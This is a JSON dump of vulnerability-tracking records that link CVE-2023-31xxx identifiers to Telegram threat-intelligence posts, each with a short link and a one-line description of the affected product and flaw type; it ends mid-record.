{"uuid": "a94f4cb0-9904-4bf2-93c7-112ecbb6e342", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31582", "type": "seen", "source": "https://t.me/ctinow/180850", "content": "https://ift.tt/leuVOTx\nCVE-2023-31582 | Oracle Communications Cloud Native Core Network Exposure Function Platform entropy", "creation_timestamp": "2024-02-07T17:41:58.000000Z"}, {"uuid": "427e1806-df39-4966-836d-2ce3f07f18a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31347", "type": "seen", "source": "https://t.me/ctinow/184231", "content": "https://ift.tt/KIhUYu3\nCVE-2023-31347", "creation_timestamp": "2024-02-13T21:31:50.000000Z"}, {"uuid": "a67cf3e7-4a07-4f7b-b950-4a152abdf4a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31346", "type": "seen", "source": "https://t.me/ctinow/184230", "content": "https://ift.tt/B6WhLXq\nCVE-2023-31346", "creation_timestamp": "2024-02-13T21:31:49.000000Z"}, {"uuid": "a2faa59f-3ae2-450d-80d9-7b19a6c95997", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31032", "type": "seen", "source": "https://t.me/ctinow/178314", "content": "https://ift.tt/H4Z7SIb\nCVE-2023-31032 | NVIDIA DGX A100 prior 1.25 dynamic dynamic variable evaluation", "creation_timestamp": "2024-02-02T23:16:29.000000Z"}, {"uuid": "81f49631-3ef9-427e-bf5c-5fc36b620458", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31211", "type": "seen", "source": "https://t.me/ctinow/177990", "content": "https://ift.tt/L6RBbAq\nCVE-2023-31211 | Checkmk up to 2.0.0p38/2.1.0p36/2.2.0p16 Authentication insufficient control flow management", "creation_timestamp": "2024-02-02T09:06:45.000000Z"}, {"uuid": "33faa7bd-eb53-4bcc-b3c4-717c306d5ffc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31031", "type": "seen", "source": "https://t.me/ctinow/178315", "content": "https://ift.tt/bzZra2U\nCVE-2023-31031 | NVIDIA DGX A100 prior 1.25 heap-based overflow", "creation_timestamp": "2024-02-02T23:16:30.000000Z"}, {"uuid": "ae4c9bc9-9ea9-42ba-8d04-65f91b374c90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31034", "type": "seen", "source": "https://t.me/ctinow/178301", "content": "https://ift.tt/m0BRQ7N\nCVE-2023-31034 | NVIDIA DGX A100 prior 1.25 integer overflow", "creation_timestamp": "2024-02-02T22:51:51.000000Z"}, {"uuid": "3d51fbe5-996b-4b1b-9b97-6d8fa36549c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31035", "type": "seen", "source": "https://t.me/ctinow/178300", "content": "https://ift.tt/MBdlEhG\nCVE-2023-31035 | NVIDIA DGX A100 prior 1.25 SMI input validation", "creation_timestamp": "2024-02-02T22:51:50.000000Z"}, {"uuid": "6fa03d09-46ad-4c19-9ce2-49cfe7331cc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31248", "type": "seen", "source": "https://t.me/ctinow/177731", "content": "https://ift.tt/ecIbQ7W\nCVE-2023-31248 Linux Kernel Vulnerability in NetApp Products", "creation_timestamp": "2024-02-01T18:26:15.000000Z"}, {"uuid": "b1ffdd70-a014-4d5a-83d7-c2cc975cecfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31025", "type": "seen", "source": "https://t.me/ctinow/178320", "content": "https://ift.tt/is75nKy\nCVE-2023-31025 | NVIDIA DGX A100 prior 00.22.05 ldap injection", "creation_timestamp": "2024-02-02T23:46:18.000000Z"}, {"uuid": "e69ae549-6d2f-401a-9679-e77de406baea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31033", "type": "seen", "source": "https://t.me/ctinow/178299", "content": "https://ift.tt/gQxandH\nCVE-2023-31033 | NVIDIA DGX A100 prior 00.22.05 missing authentication", "creation_timestamp": "2024-02-02T22:51:49.000000Z"}, {"uuid": "4035e5a0-e75b-4fb7-ba22-8061efcd586a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31036", "type": "seen", "source": "https://t.me/ctinow/178283", "content": "https://ift.tt/GFVoMiC\nCVE-2023-31036 | NVIDIA Triton Inference Server prior 2.40 on Linux/Windows Model Load API path traversal", "creation_timestamp": "2024-02-02T21:46:50.000000Z"}, {"uuid": "c3ecfa4f-fa02-432d-8a60-0dcee1f9b6b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3188", "type": "seen", "source": "https://t.me/cibsecurity/65120", "content": "\u203c CVE-2023-3188 \u203c\n\nServer-Side Request Forgery (SSRF) in GitHub repository owncast/owncast prior to 0.1.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-10T07:27:14.000000Z"}, {"uuid": "81a34ada-15be-457b-93d2-802364f0268d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31006", "type": "seen", "source": "https://t.me/ctinow/178353", "content": "https://ift.tt/Mpx5CrY\nCVE-2023-31006", "creation_timestamp": "2024-02-03T02:26:47.000000Z"}, {"uuid": "66682e76-73ce-47d8-9a1f-abf8e22914f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31005", "type": "seen", "source": "https://t.me/ctinow/178352", "content": "https://ift.tt/4iRV7vb\nCVE-2023-31005", "creation_timestamp": "2024-02-03T02:26:46.000000Z"}, {"uuid": "ea9d6651-e5a6-4095-a012-5d075fe9c3db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31004", "type": "seen", "source": "https://t.me/ctinow/178351", "content": "https://ift.tt/x9fPrHq\nCVE-2023-31004", "creation_timestamp": "2024-02-03T02:26:45.000000Z"}, {"uuid": "eb8df597-f707-4656-a3ba-84b9367f1c17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31030", "type": "seen", "source": "https://t.me/ctinow/178291", "content": "https://ift.tt/NLqGtim\nCVE-2023-31030 | NVIDIA DGX A100 prior 00.22.05 Host KVM Daemon stack-based overflow", "creation_timestamp": "2024-02-02T22:21:37.000000Z"}, {"uuid": "2b6e3c62-1f58-4179-9229-94d6a9b2b5c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31029", "type": "seen", "source": "https://t.me/ctinow/178290", "content": "https://ift.tt/z4YdUpj\nCVE-2023-31029 | NVIDIA DGX A100 prior 00.22.05 Host KVM Daemon stack-based overflow", "creation_timestamp": "2024-02-02T22:21:36.000000Z"}, {"uuid": "f48396c5-a11f-4739-9292-154e7247e1c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31024", "type": "seen", "source": "https://t.me/ctinow/178289", "content": "https://ift.tt/I6RCGQ8\nCVE-2023-31024 | NVIDIA DGX A100 prior 00.22.05 Host KVM Daemon stack-based overflow", "creation_timestamp": "2024-02-02T22:21:35.000000Z"}, {"uuid": "5bc4241e-fa62-47e8-a02c-c757afea06a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31506", "type": "seen", "source": "https://t.me/ctinow/181859", "content": "https://ift.tt/lypR7Qm\nCVE-2023-31506", "creation_timestamp": "2024-02-09T08:21:50.000000Z"}, {"uuid": "02a2bb6d-ef4b-4194-8425-5e0961853a5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31654", "type": "seen", "source": "https://t.me/ctinow/177010", "content": "https://ift.tt/JNLwaF8\nCVE-2023-31654 Exploit", "creation_timestamp": "2024-01-31T19:17:55.000000Z"}, {"uuid": "c62c357e-2ebb-468b-bb61-f6dc8d6776c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31505", "type": "seen", "source": "https://t.me/ctinow/176460", "content": "https://ift.tt/PfLYBAi\nCVE-2023-31505", "creation_timestamp": "2024-01-31T04:31:53.000000Z"}, {"uuid": "5b2658ed-a8b1-4fb2-8e5d-bfda3b4d9af3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3178", "type": "seen", "source": "https://t.me/ctinow/171516", "content": "https://ift.tt/AcKQCyz\nCVE-2023-3178 Exploit", "creation_timestamp": "2024-01-22T23:16:38.000000Z"}, {"uuid": "be03a801-589c-47af-9adb-7af5ef4034d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31188", "type": "seen", "source": "https://t.me/cibsecurity/69984", "content": "\u203c CVE-2023-31188 \u203c\n\nMultiple TP-LINK products allow a network-adjacent authenticated attacker to execute arbitrary OS commands. Affected products/versions are as follows: Archer C50 firmware versions prior to 'Archer C50(JP)_V3_230505', Archer C55 firmware versions prior to 'Archer C55(JP)_V1_230506', and Archer C20 firmware versions prior to 'Archer C20(JP)_V1_230616'.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-06T14:17:48.000000Z"}, {"uuid": "27882243-5181-447f-a833-b3899eb260a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31294", "type": "seen", "source": "https://t.me/ctinow/170650", "content": "https://ift.tt/psABQoz\nCVE-2023-31294 | Sesami Cash Point & Transport Optimizer 6.3.8.6 Delivery Name csv injection (usd-2022-0052)", "creation_timestamp": "2024-01-20T15:17:14.000000Z"}, {"uuid": "58c23993-24e5-4f49-9e92-353fa9f4e2d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31295", "type": "seen", "source": "https://t.me/ctinow/170648", "content": "https://ift.tt/SN6Mwrd\nCVE-2023-31295 | Sesami Cash Point & Transport Optimizer 6.3.8.6 User Profile Field csv injection (usd-2022-0053)", "creation_timestamp": "2024-01-20T15:17:12.000000Z"}, {"uuid": "a2d8b70d-6ea6-4c7e-9567-b304405ea8ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31300", "type": "seen", "source": "https://t.me/ctinow/170647", "content": "https://ift.tt/NbZpAoX\nCVE-2023-31300 | Sesami Cash Point & Transport Optimizer 6.3.8.6 Password Reset cleartext transmission (usd-2022-0057)", "creation_timestamp": "2024-01-20T15:17:10.000000Z"}, {"uuid": "bc0ed6d3-953a-4374-a090-0710f2e20fe7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31293", "type": "seen", "source": "https://t.me/ctinow/170646", "content": "https://ift.tt/VRvCStF\nCVE-2023-31293 | Sesami Cash Point & Transport Optimizer 6.3.8.6 information disclosure (usd-2022-0061)", "creation_timestamp": "2024-01-20T15:17:09.000000Z"}, {"uuid": "057bc487-5e90-4d57-97a3-9af9cbc0d31d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31299", "type": "seen", "source": "https://t.me/ctinow/170670", "content": "https://ift.tt/JPb5Tk4\nCVE-2023-31299 | Sesami Cash Point & Transport Optimizer 6.3.8.6 Barcode cross site scripting (usd-2022-0055)", "creation_timestamp": "2024-01-20T16:51:42.000000Z"}, {"uuid": "679c0ed9-db53-406f-aef4-7b9d97f87646", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31296", "type": "seen", "source": "https://t.me/ctinow/170665", "content": "https://ift.tt/icdjFmR\nCVE-2023-31296 | Sesami Cash Point & Transport Optimizer 6.3.8.6 User Name information disclosure (usd-2022-0054)", "creation_timestamp": "2024-01-20T16:16:33.000000Z"}, {"uuid": "f39aaeb6-7887-4c5a-867b-7066880fe970", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31301", "type": "seen", "source": "https://t.me/ctinow/170663", "content": "https://ift.tt/E09M2Aj\nCVE-2023-31301 | Sesami Cash Point & Transport Optimizer 6.3.8.6 Login Form Username cross site scripting (usd-2022-0059)", "creation_timestamp": "2024-01-20T16:16:30.000000Z"}, {"uuid": "f8006aaf-fdc9-408d-b0e9-0dcd236d50c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31298", "type": "seen", "source": "https://t.me/ctinow/170662", "content": "https://ift.tt/VTRl1Io\nCVE-2023-31298 | Sesami Cash Point & Transport Optimizer 6.3.8.6 User ID cross site scripting (usd-2022-0060)", "creation_timestamp": "2024-01-20T16:16:29.000000Z"}, {"uuid": "516113cb-e710-4dcc-8183-07594f5bea35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31302", "type": "seen", "source": "https://t.me/ctinow/170718", "content": "https://ift.tt/jbhOuIz\nCVE-2023-31302 | Sesami Cash Point & Transport Optimizer 6.3.8.6 Teller cross site scripting (usd-2022-0056)", "creation_timestamp": "2024-01-20T20:46:21.000000Z"}, {"uuid": "a3bd0294-9112-41e9-9519-e4b23ea72151", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31292", "type": "seen", "source": "https://t.me/ctinow/170656", "content": "https://ift.tt/NH6Q5CY\nCVE-2023-31292 | Sesami Cash Point & Transport Optimizer 6.3.8.6 Back Button Refresh information disclosure (usd-2022-0051)", "creation_timestamp": "2024-01-20T15:46:08.000000Z"}, {"uuid": "148fb4e6-167c-472b-9ad3-f79d0ee3244a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31001", "type": "seen", "source": "https://t.me/ctinow/175725", "content": "https://ift.tt/yH8rLTC\nCVE-2023-31001 | IBM Security Verify Access Appliance up to 10.0.6.1 storing passwords in a recoverable format (XFDB-254653)", "creation_timestamp": "2024-01-30T08:11:06.000000Z"}, {"uuid": "26f400eb-ffe0-4fa8-aba7-ef2e4b10d534", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31003", "type": "seen", "source": "https://t.me/ctinow/175723", "content": "https://ift.tt/4qs7HNW\nCVE-2023-31003 | IBM Security Verify Access Appliance up to 10.0.6.1 link following (XFDB-254658)", "creation_timestamp": "2024-01-30T08:11:03.000000Z"}, {"uuid": "81ebb5c3-d8eb-4d26-9e6d-92d6dc448260", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31274", "type": "seen", "source": "https://t.me/ctinow/169888", "content": "https://ift.tt/dBWh2ij\nCVE-2023-31274", "creation_timestamp": "2024-01-18T19:21:47.000000Z"}, {"uuid": "47e06263-d321-4986-afdb-d55ae4a6bd5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31446", "type": "seen", "source": "https://t.me/ctinow/174654", "content": "https://ift.tt/WCrAeL5\nCVE-2023-31446 | Cassia Gateway XC1000_2.1.1.2303082218/XC2000_2.1.1.2303090947 /bypass/config queueUrl os command injection", "creation_timestamp": "2024-01-27T07:07:25.000000Z"}, {"uuid": "7cb3c77b-fbf6-4b5f-b44d-aaaa170e81f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31488", "type": "seen", "source": "https://t.me/ctinow/175004", "content": "https://ift.tt/h74gNrF\nCVE-2023-31488 | Hyland Perceptive Filters prior 11.4.0.2647 Document memory corruption", "creation_timestamp": "2024-01-28T19:31:44.000000Z"}, {"uuid": "32cfc463-6c5f-44b5-9270-e3fee72eaa6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3181", "type": "seen", "source": "https://t.me/ctinow/173593", "content": "https://ift.tt/I2y3fTA\nCVE-2023-3181", "creation_timestamp": "2024-01-25T17:26:32.000000Z"}, {"uuid": "d4b979dc-a13b-4bb6-9826-57c9c10bce3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31289", "type": "seen", "source": "https://t.me/ctinow/170088", "content": "https://ift.tt/fznKgAR\nCVE-2023-31289 | Pexip Infinity up to 31.1 Signalling denial of service", "creation_timestamp": "2024-01-19T08:11:48.000000Z"}, {"uuid": "515f374d-8ae8-448b-aab4-e000a17222db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31546", "type": "seen", "source": "https://t.me/ctinow/165936", "content": "https://ift.tt/soPqIwy\nCVE-2023-31546 | DedeBIZ 6.0.3 Search Box keyword cross site scripting", "creation_timestamp": "2024-01-10T16:41:54.000000Z"}, {"uuid": "f9c834a7-06e0-4d2d-96be-4b8b90d318a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31455", "type": "seen", "source": "https://t.me/ctinow/170089", "content": "https://ift.tt/wbNpKq9\nCVE-2023-31455 | Pexip Infinity up to 31.1 RTCP denial of service", "creation_timestamp": "2024-01-19T08:11:50.000000Z"}, {"uuid": "6dfb8a4f-133b-4a0e-830d-74a283fa9f8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3178", "type": "seen", "source": "https://t.me/ctinow/168909", "content": "https://ift.tt/BsRhW7e\nCVE-2023-3178", "creation_timestamp": "2024-01-16T17:27:18.000000Z"}, {"uuid": "7ad07f04-f645-4598-9956-77ecf8fc0e08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31231", "type": "seen", "source": "https://t.me/ctinow/167898", "content": "https://ift.tt/BVo7i9q\nCVE-2023-31231 | Unlimited Elements for Elementor Plugin up to 1.5.65 on WordPress unrestricted upload", "creation_timestamp": "2024-01-13T19:26:49.000000Z"}, {"uuid": "27af46cf-7d20-4ef2-a7d7-b873674ea9e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31003", "type": "seen", "source": "https://t.me/ctinow/166297", "content": "https://ift.tt/6kig2Xr\nCVE-2023-31003", "creation_timestamp": "2024-01-11T04:32:09.000000Z"}, {"uuid": "14d58b36-6919-4c52-9035-15283a5a958c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31001", "type": "seen", "source": "https://t.me/ctinow/166296", "content": "https://ift.tt/KmQz7oj\nCVE-2023-31001", "creation_timestamp": "2024-01-11T04:32:08.000000Z"}, {"uuid": "548e7f99-0f3b-4036-a7e8-1742b6b9ddc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31446", "type": "seen", "source": "https://t.me/ctinow/165527", "content": "https://ift.tt/C3sDF8O\nCVE-2023-31446", "creation_timestamp": "2024-01-10T04:26:20.000000Z"}, {"uuid": "5616f757-005c-4ab3-bb1e-bbc65e54864b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31037", "type": "seen", "source": "https://t.me/ctinow/172509", "content": "https://ift.tt/LBZYo4k\nCVE-2023-31037", "creation_timestamp": "2024-01-24T04:26:43.000000Z"}, {"uuid": "3b3503a5-7cf3-4f31-9fb1-50b71d2517cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31654", "type": "seen", "source": "https://t.me/ctinow/172396", "content": "https://ift.tt/rCjzT6k\nCVE-2023-31654", "creation_timestamp": "2024-01-23T23:27:00.000000Z"}, {"uuid": "e0952ed2-e3b5-41b7-b6ef-908cc62c4f03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31300", "type": "seen", "source": "https://t.me/ctinow/160357", "content": "https://ift.tt/qV0Nn63\nCVE-2023-31300", "creation_timestamp": "2023-12-29T07:26:44.000000Z"}, {"uuid": "55c937b9-d7e5-484a-abb9-152f6be4aa34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31242", "type": "seen", "source": "https://t.me/cibsecurity/69870", "content": "\u203c CVE-2023-31242 \u203c\n\nAn authentication bypass vulnerability exists in the OAS Engine functionality of Open Automation Software OAS Platform v18.00.0072. A specially-crafted series of network requests can lead to arbitrary authentication. An attacker can send a sequence of requests to trigger this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-05T20:17:18.000000Z"}, {"uuid": "88ccf7af-915f-4719-b01a-78a0bd50c1b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31029", "type": "seen", "source": "https://t.me/ctinow/167489", "content": "https://ift.tt/BIW2kE1\nCVE-2023-31029", "creation_timestamp": "2024-01-12T20:41:44.000000Z"}, {"uuid": "afa1d1e3-2f8b-4d68-842d-9ddd2f5d0a6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31025", "type": "seen", "source": "https://t.me/ctinow/167488", "content": "https://ift.tt/fJbFu7X\nCVE-2023-31025", "creation_timestamp": "2024-01-12T20:41:42.000000Z"}, {"uuid": "ecc20206-ddd2-4230-a4ab-e06135b8cffc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31024", "type": "seen", "source": "https://t.me/ctinow/167487", "content": "https://ift.tt/nCv2Utu\nCVE-2023-31024", "creation_timestamp": "2024-01-12T20:41:41.000000Z"}, {"uuid": "47561291-f33f-4363-9d6c-46e2e3405f1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31296", "type": "seen", "source": "https://t.me/ctinow/160328", "content": "https://ift.tt/j45MG9w\nCVE-2023-31296", "creation_timestamp": "2023-12-29T05:26:48.000000Z"}, {"uuid": "33309a83-6d02-4f19-ad0f-9593c0cd2052", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31301", "type": "seen", "source": "https://t.me/ctinow/160290", "content": "https://ift.tt/smKClae\nCVE-2023-31301", "creation_timestamp": "2023-12-29T03:26:22.000000Z"}, {"uuid": "ede491f4-5f65-4708-b1de-cd7df132d644", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31298", "type": "seen", "source": "https://t.me/ctinow/160289", "content": "https://ift.tt/fGSBHTz\nCVE-2023-31298", "creation_timestamp": "2023-12-29T03:26:21.000000Z"}, {"uuid": "8722a70c-3432-46b0-808f-a06435d5ff87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31292", "type": "seen", "source": "https://t.me/ctinow/160288", "content": "https://ift.tt/ND8wWFY\nCVE-2023-31292", "creation_timestamp": "2023-12-29T03:26:20.000000Z"}, {"uuid": "70875039-d631-4ccb-b455-05ce0d95f067", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31035", "type": "seen", "source": "https://t.me/ctinow/167495", "content": "https://ift.tt/Lf3I4MO\nCVE-2023-31035", "creation_timestamp": "2024-01-12T20:41:52.000000Z"}, {"uuid": "5e08ad43-a342-4024-9a80-91e2ff72b9a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31034", "type": "seen", "source": "https://t.me/ctinow/167494", "content": "https://ift.tt/xvCKyj2\nCVE-2023-31034", "creation_timestamp": "2024-01-12T20:41:51.000000Z"}, {"uuid": "5b699d61-c67a-43bf-952a-38190ee13488", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31033", "type": "seen", "source": "https://t.me/ctinow/167493", "content": "https://ift.tt/5v0XsQV\nCVE-2023-31033", "creation_timestamp": "2024-01-12T20:41:50.000000Z"}, {"uuid": "7e16f00c-2fd3-4edf-86b7-aaef194e9a0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31032", "type": "seen", "source": "https://t.me/ctinow/167492", "content": "https://ift.tt/jQUNVr8\nCVE-2023-31032", "creation_timestamp": "2024-01-12T20:41:48.000000Z"}, {"uuid": "f83ad4aa-aabf-45f5-b0a3-7da15b9c305e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31031", "type": "seen", "source": "https://t.me/ctinow/167491", "content": "https://ift.tt/jNgeOhp\nCVE-2023-31031", "creation_timestamp": "2024-01-12T20:41:47.000000Z"}, {"uuid": "95af383c-71a5-4370-be0a-3c4c87a31f69", 